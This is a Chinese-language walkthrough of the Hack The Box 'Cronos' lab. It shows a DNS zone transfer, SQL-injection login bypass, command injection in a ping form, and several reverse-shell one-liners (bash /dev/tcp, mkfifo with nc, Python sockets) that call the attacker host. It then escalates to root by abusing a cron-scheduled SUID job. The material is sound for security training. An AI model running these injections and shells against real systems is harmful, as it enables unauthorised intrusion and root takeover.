cronOS(域名查询)

1
2
3
4
5
6
Discovered open port 22/tcp on 10.10.10.13                                     
Discovered open port 53/udp on 10.10.10.13                                     
Discovered open port 80/tcp on 10.10.10.13                                     
Discovered open port 53/tcp on 10.10.10.13  

53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)

web

1
2
3
4
http://10.10.10.13/

nikto -h 10.10.10.13 > nikto.txt
gobuster -u http://10.10.10.13 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

domain

search domain bin

80web页面除了apache默认配置一无所获,

echo 10.10.10.13 Cronos.htb >> /etc/hosts 以前遇到过这种情况,目标网站只允许通过域名访问。cronos.htb是猜测的域名。

访问http://Cronos.htb,成功列出内容。

  • gobuster -u http://Cronos.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  • searchsploit laravel

找不到attack vector

writeup

dns 查询工具

参考资料:如何使用区域传送?

1
2
3
dig @server name type

dig @10.10.10.13 axfr cronos.htb

axfr是dns记录的类型,A记录代表主机记录,域名 <–>IP 映射

NS记录,给出一个域名,查由哪些域名服务器进行解析。诸如此类。

dig查询结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
; <<>> DiG 9.10.3-P4-Debian <<>> @10.10.10.13 axfr cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.		604800	IN	NS	ns1.cronos.htb.
cronos.htb.		604800	IN	A	10.10.10.13
admin.cronos.htb.	604800	IN	A	10.10.10.13
ns1.cronos.htb.		604800	IN	A	10.10.10.13
www.cronos.htb.		604800	IN	A	10.10.10.13
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 298 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Sat Mar 16 11:13:20 +08 2019
;; XFR size: 7 records (messages 1, bytes 203)

echo 10.10.10.13 admin.cronos.htb >> /etc/hosts

访问http://admin.cronos.htb,发现一个登陆表单。

burp抓包,发现是明文

手动尝试一次:Your Login Name or Password is invalid

sqlmap尝试注入:sqlmap -r 1.req -p username –batch

sqlmap -r 1.req -p password –batch

gobuster -u http://admin.cronos.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

wapiti -u http://admin.cronos.htb/


1
2
3
4
echo 10.10.10.13 www.cronos.htb >> /etc/hosts
echo 10.10.10.13 ns1.cronos.htb >> /etc/hosts
ns1.cronos.htb
www.cronos.htb

nothing useful


admin’ or ‘1’=’1 123456

1

2

到此为止,思路十分清晰,命令执行漏洞。 ping -c 1 ip

3

Kioptrix Level 2(命令执行漏洞)

获得一个shell

nc为openbsd版本,无-e选项。

bash无-i选项。

选择用php-reverse-shell.php

command=ping+-c+1&host=8.8.8.8|chmod +x php-reverse-shell.php

修改command=ping+-c+1&host=8.8.8.8后面的命令。

bash -i >& /dev/tcp/10.10.14.7/888 0>&1

wget http://10.10.14.7:8000/php-reverse-shell.php

chmod +x php-reverse-shell.php

./php-reverse-shell.php

4

python -c ‘import pty; pty.spawn(“/bin/bash”)’

方法二:

kali: nc -lnvp 6677 command=ping+-c+1&host=8.8.8.8|chmod +x php-reverse-shell.php rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 6677| >/tmp/f

burp repeater——选中上述命令——ctl+U进行url编码

6

虽然反弹了shell,但是会自动退出

方法三

方便快捷

1
2
3
nc -lnvp 6677

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.7",6677));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

提权

内核漏洞提权(failed)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
uname -a
Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

searchsploit linux 4.4.0
1. Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalat 
2. Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free Privilege Escalation 
3. Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation  
4. Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR 

gcc -h
the program 'gcc' is currently not installed. 

---

cat /etc/passwd | grep home
ps -ef | grep root
root      1083     1  0 Mar15 ?        00:00:00 /usr/sbin/cron -f

mysql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/var/www/admin/config.php
admin
kEjdbRigfBHUREiNSDs

mysql -h localhost -u admin -p
输入密码

show databases;
 information_schema 
 admin 

use information_schema;
show tables; 

use admin;
show tables; 
users
select * from users;
|  1 | admin    | 4f5fffa7b2340178a716e3832451e058 

select VERSION();
5.7.17-0ubuntu0.16.04.2 

获得了一串密文,4f5fffa7b2340178a716e3832451e058 不知道明文是不是kEjdbRigfBHUREiNSDs。

如果是,那就不用破解了;如果不是,那就可以尝试su root,用mysql中获取的口令。

md5在线加密kEjdbRigfBHUREiNSDs,经过对比,发现不是。

5

WTF,竟然要我掏钱。

crontab

crontab定时任务

在linux中,每个用户都有自己的cron job。只要在文本中写入条目,linux就会定时运行该任务。

cron的格式:

分钟 小时 月份 工作日 命令 解释
02 * * * * /home/xx/xx.sh 每天每小时的第二分钟执行脚本xx.sh
00 5,6,7 * * * /home/xx/xx.sh 每天的第5,6,7小时的0分,执行脚本xx.sh

crontab -l crontab -e 打开用户的cron job.

7

root 1102 1 0 10:35 ? 00:00:00 /usr/sbin/cron -f

通过上传LinEnum.sh,运行后发现,可以尝试破解密文。 8

9

Kernel.php

find / -name Kernel.php 2>/dev/null

/var/www/laravel/app/Console/Kernel.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

namespace App\Console;

use Illuminate\Console\Scheduling\Schedule;
use Illuminate\Foundation\Console\Kernel as ConsoleKernel;

class Kernel extends ConsoleKernel
{
    /**
     * The Artisan commands provided by your application.
     *
     * @var array
     */
    protected $commands = [
        //
    ];

    /**
     * Define the application's command schedule.
     *
     * @param  \Illuminate\Console\Scheduling\Schedule  $schedule
     * @return void
     */
    protected function schedule(Schedule $schedule)
    {
	$schedule->exec('chown root:root /tmp/shell;chmod 4777 /tmp/shell')->everyMinute();
    }

    /**
     * Register the Closure based commands for the application.
     *
     * @return void
     */
    protected function commands()
    {
        require base_path('routes/console.php');
    }
}

curl http://10.10.14.7/cat -o shell 13

将本地的cat二进制文件发送到目标机,保存为/tmp/shell。

稍等片刻,约一分钟左右,该文件为suid权限。 运行该文件,即可以root权限查看/root/root.txt

总结

进一步加深认识了suid权限。

其中,尝试将netcat写入/tmp/shell,尝试将python脚本写入/tmp/shell,都以失败告终。

只有编译的程序才可以使用root权限。

bash script and python script即使有suid权限,运行的命令也不是root权限。